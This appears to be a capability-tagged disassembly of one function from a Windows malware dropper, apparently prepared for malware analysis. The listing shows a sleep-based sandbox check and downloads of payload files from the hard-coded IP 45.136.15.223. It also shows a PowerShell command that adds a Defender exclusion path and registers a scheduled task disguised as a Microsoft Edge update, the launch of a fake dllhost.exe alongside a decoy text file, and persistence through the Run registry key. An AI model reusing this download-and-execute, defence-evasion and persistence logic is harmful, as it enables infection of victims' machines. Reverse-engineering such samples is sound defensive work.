Function at 0x401530
Capabilities:
Create process on windows
Create process suspended
Delete file
Initialize winhttp library
Persist via run registry key
Prepare http request
Receive http response
Schedule task via schtasks
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x1370
call fcn.004032a0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00402940
lea rax, [rbp + 0x1290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x1280]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
movzx eax, word [rbp + 0x129c]
movzx eax, ax
imul rdx, rax, 0x3e8
movzx eax, word [rbp + 0x129e]
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x12d8], rax
movzx eax, word [rbp + 0x128c]
movzx eax, ax
imul rdx, rax, 0x3e8
movzx eax, word [rbp + 0x128e]
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x12d0], rax
mov rax, qword [rbp + 0x12d0]
sub rax, qword [rbp + 0x12d8]
mov qword [rbp + 0x12c8], rax
cmp qword [rbp + 0x12c8], 0x1387
jbe 0x4015fa
cmp qword [rbp + 0x12c8], 0x157c
jbe 0x401604
mov eax, 1
jmp 0x401d71
mov qword [rbp + 0x12c0], 0
mov qword [rbp + 0x12e8], 0
mov qword [rbp + 0x12e0], 0
mov dword [rbp + 0x12bc], 0
mov dword [rbp + 0x127c], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.A_WinHTTP_Example_Program_1.0
call sub.WINHTTP.dll_WinHttpOpen
mov qword [rbp + 0x12c0], rax
cmp qword [rbp + 0x12c0], 0
je 0x401b12
mov rax, qword [rbp + 0x12c0]
mov r9d, 0
mov r8d, 0x50
lea rdx, str.45.136.15.223
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
mov qword [rbp + 0x12e8], rax
cmp qword [rbp + 0x12e8], 0
je 0x401b12
mov rax, qword [rbp + 0x12e8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._45.crt
lea rdx, [0x00405068]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x12e0], rax
cmp qword [rbp + 0x12e0], 0
je 0x401b12
mov rax, qword [rbp + 0x12e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401b12
mov rax, qword [rbp + 0x12e0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401b12
lea rax, [rbp + 0x40]
lea rdx, [0x00405070]
mov rcx, rax
call sub.msvcrt.dll_wcscpy
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x12b0], rax
cmp qword [rbp + 0x12b0], 0xffffffffffffffff
je 0x401abd
mov dword [rbp + 0x1254], 0
lea rcx, [rbp + 0x1254]
lea rdx, [rbp + 0x250]
mov rax, qword [rbp + 0x12e0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x40189d
mov eax, dword [rbp + 0x1254]
test eax, eax
je 0x40189d
mov ecx, dword [rbp + 0x1254]
lea r8, [rbp + 0x127c]
lea rdx, [rbp + 0x250]
mov rax, qword [rbp + 0x12b0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401873
mov edx, dword [rbp + 0x127c]
mov eax, dword [rbp + 0x1254]
cmp edx, eax
je 0x401898
mov rax, qword [rbp + 0x12b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
jmp 0x40189d
jmp 0x4017db
mov rax, qword [rbp + 0x12b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x12e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0x12e8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.jh.xml
lea rdx, [0x00405068]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x12e0], rax
cmp qword [rbp + 0x12e0], 0
je 0x401abb
mov rax, qword [rbp + 0x12e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401abb
mov rax, qword [rbp + 0x12e0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401abb
lea rax, [rbp + 0x40]
lea rdx, str.C:UsersPublicjh.xml
mov rcx, rax
call sub.msvcrt.dll_wcscpy
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x12b0], rax
cmp qword [rbp + 0x12b0], 0xffffffffffffffff
je 0x401abb
lea rcx, [rbp + 0x1254]
lea rdx, [rbp + 0x250]
mov rax, qword [rbp + 0x12e0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401aa8
mov eax, dword [rbp + 0x1254]
test eax, eax
je 0x401aa8
mov ecx, dword [rbp + 0x1254]
lea r8, [rbp + 0x127c]
lea rdx, [rbp + 0x250]
mov rax, qword [rbp + 0x12b0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x12bc], eax
cmp dword [rbp + 0x12bc], 0
je 0x401a7e
mov edx, dword [rbp + 0x127c]
mov eax, dword [rbp + 0x1254]
cmp edx, eax
je 0x401aa3
mov rax, qword [rbp + 0x12b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
jmp 0x401aa8
jmp 0x4019e6
mov rax, qword [rbp + 0x12b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401b12
cmp qword [rbp + 0x12e0], 0
je 0x401ad6
mov rax, qword [rbp + 0x12e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x12e8], 0
je 0x401aef
mov rax, qword [rbp + 0x12e8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x12c0], 0
je 0x401b08
mov rax, qword [rbp + 0x12c0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov eax, 1
jmp 0x401d71
cmp qword [rbp + 0x12e0], 0
je 0x401b2b
mov rax, qword [rbp + 0x12e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x12e8], 0
je 0x401b44
mov rax, qword [rbp + 0x12e8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x12c0], 0
je 0x401b5d
mov rax, qword [rbp + 0x12c0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov eax, 0x68
mov dword [rbp - 0x30], eax
lea rax, [rbp + 0x1260]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x250]
mov rdx, rax
lea rax, str.powershell.exe__NoProfile__Command__Add_MpPreference__ExclusionPath_C:UsersPublic___xmlContent__Get_Content__Path_C:UsersPublicjh.xml__Raw__Register_ScheduledTask__Xml__xmlContent__TaskName_MicrosoftEdgeUpdateTaskUserS_1_5_21_4220318521_1419758426_78524122_1000Core680DECD5_5011_4D3F_949A_4D7BAA279AC3_
mov ecx, 0x27
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
lea rdx, [rdx + 4]
lea rax, [rax + 4]
movzx ecx, byte [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
lea rax, [rax + 1]
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x1260]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x1260]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1268]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [0x00405225]
lea rcx, str.C:UsersPublicziliao.txt
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x12a8], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:UsersPublicziliao.txt
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x00405247]
lea r8, str.C:UsersPublicdllhost.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, str.C:UsersPublicdllhost.exe
mov qword [rbp + 0x12a0], rax
lea rax, [rbp + 0x1258]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp + 0x12a0]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea edx, [rax + 1]
mov rax, qword [rbp + 0x1258]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x12a0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyProgram
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x1258]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x1370
pop rsi
pop rdi
pop rbp
ret